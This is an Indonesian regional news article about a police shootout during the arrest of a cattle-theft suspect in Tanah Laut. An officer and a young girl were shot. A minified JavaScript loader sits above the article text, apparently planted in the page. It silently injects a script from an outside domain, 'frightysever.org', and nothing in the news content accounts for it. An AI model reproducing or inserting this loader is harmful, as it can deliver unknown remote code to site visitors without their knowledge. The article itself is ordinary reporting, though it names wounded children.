(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Kasus baku tembak terjadi saat penangkapan tersangka kasus pencurian sapi di Desa Batu Tungku, Kecamatan Penyipatan, Kabupaten Tanah Laut, Sabtu (7/9) sore. Seorang anggota intel Polsek Panyipatan Polres Tala, Brigadir Edi Rapi Susanto, dan seorang warga sipil mengalami luka tembak dari pelaku yang melawan dengan senjata api (senpi).
Brigadir Edi Rudi Susanto ini, tertembak di bagian punggung dan saat ini masih menjalani perawatan di RS. “Untuk pastinya kami tidak mengetahui, saya ke sini menerima anggota yang mengalami tertembak. Kami juga mengkondisikan untuk mencari golongan darah O. Untuk kronologinya nanti akan disampaikan Kapolres Tala,” ucap Dirreskrimsus Polda Kalsel Kombes Pol Rizal Irawan kepada Kanalkalimantan.com di UGD RSUD Ulin Banjarmasin, Sabtu (7/9) malam.
“Tadi dokter belum bisa memastikan, karena saat ini sedang dioperasi. Yang pasti keterangan dari dokter jaga, kondisinya kritis,” tambah Kombes Rizal.
Brigadir Edi sendiri, sempat akan dirujuk ke RS Siaga Banjarmasin, sebelum akhirnya dirujuk ke UGD RSUD Ulin Banjarmasin. Hingga berita ini ditulis, Brigadir Edi masih dalam operasi.
Baca Juga: Kabur, Tersangka Penembak Polisi Tala Buang Senjata Laras Panjang
Dari informasi yang dihimpun Kanalkalimantan.com, peristiwa ini bermula dari sebuah kasus pencurian sapi pada Minggu (1/9) pukul 21.05 WIB. Ketika itu, telah terjadi pencurian sapi warga dengan modus operandi tersangka Khairullah memberi makanan sapi yang ada racunnya. Kemudian setelah sapi tumbang, di potong di tempat. Peristiwa itu terjadi di Jalan Trans Kalimantan Km. 35,5 Desa Tumbang Nusa RT. 04,  tepatnya di bawah Jembatan Layang Tumbang Nusa, Kecamatan Jabiren Raya Kabupaten Pulang Pisau, Provinsi Kalteng.
 Setelah olah TKP dilakukan penyelidikan baik berdasarkan info di lapangan maupun secara IT, diperoleh informasi pelakunya berada di Pelaihari, Kalsel.  Tim Resmob Sat Reskrim Polres Pulang Pisau melakukan pengejaran terhadap pelaku di Kecamatan Pelaihari. Mereka sebelumnya berkoordinasi dengan Resmob Polda Kalsel kemudian dilanjutkan dengan Resmob Polres Tanah Laut.
Pada Sabtu (7/9) sekira jam 12.00 WIB, tim Resmob 2 Polres menuju ke sasaran rumah tersangka dengan sebelumnya mampir di Polsek Panyipatan. Kemudian 1 anggota intel Polsek dan 1 anggota eskrim Polres Pulang Pisau mengecek keberadaan tersangka di rumahnya.
Setelah dilihat bahwa di rumah tersebut ada mobil tersangka (sama dengan mobil yang dilihat saksi di TKP pencurian sapi), 2 anggota tetrsebut kembali ke Mapolsek untuk berkoordinasi guna melakukan penangkapan.
Usai berkoordinasi dengan sisa tim lainnya, tim berangkat menuju rumah tersangka menggunakan 3 mobil mendekati rumah tersangka. Tim melihat mobil tersangka keluar dari rumah kemudian dikejar.
Sekira jarak 1,5 km dari rumah tersangka, 2 mobil anggota mendahului mobil tersangka dan 1 mobil anggota mengepung dari arah belakang lalu memblokade jalannya mobil tersangka.
Mengingat saat penyelidikan di dapatkan informasi bahwa tersangka memiliki 1 pucuk senjata api genggam rakitan dan 1 pucuk senjata laras panjang, maka anggota setelah memblokade memerintahkan untuk penumpang turun dan memberikan tembakan peringatan.
Namun ternyata, dari dalam mobil terdengar suara tembakan dan mengenai punggung bawah kiri Brigadir Edi Rapi Susanto, anggota Intel Polsek Panyipatan yang turut membackup giat penangkapan.
Baca Juga: Terluka, Pencuri Sapi Penembak Polisi Tala Kabur ke Hutan Karet
Melihat hal tersebut sebagian anggota menolong angggota yang tertembak, sebagian lagi menembak balik mobil Toyota Innova warna silver Nopol : DA 8372 BH .
Setelah itu mobil tersangka berjalan lagi dengan menabrak mobil aanggota. Baik yang melakukan blokade di depan maupun yang di belakang dan melarikan diri.
Sekira kurang lebih 2 Km dari lokasi penembakan, mobil tersangka berhenti dengan kondisi pintu sudah terbuka semua. Di dapati ternyata di dalam mobil tersebut ada 3 orang penumpag (1 dewasa atasnama Irwansyah, dan 2 anak kecil laki-laki atasnama Gazali Akbar dan seorang anak perempuan atas nama Novianti binti Pariyono.) Mereka warga desa Batu Tungku Kecamatan Panyipatan dengan posisi duduk. Dan anak perempuan atasnama Novianti terluka tembak di bagian kepala depan sebelah kanan.
Di dalam mobil tersebut juga ditemukan senjata laras panjang rakitan warna hitam / hijau dengan peredam dan aminisi 5,56 mm tajam sebanyak 9 butir. Kemudian seluruh tim mengevakuasi korban,  baik anggota maupun anak ke Rumah Sakit Boenyasin Pelaihari, dan mobil ke tempat salah satu kepala dusun di dekat TKP penemuan mobil.
Saat ini, Brigadir Edi Rapi Susanto sadar dan dioperasi untuk mengeluarkan proyektil. Sedangkan korban masyarakat atasnama Novita dalam kondisi koma dan akan di rujuk ke RS Ciputra Banjarmasin. (fikri)
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
This website uses cookies.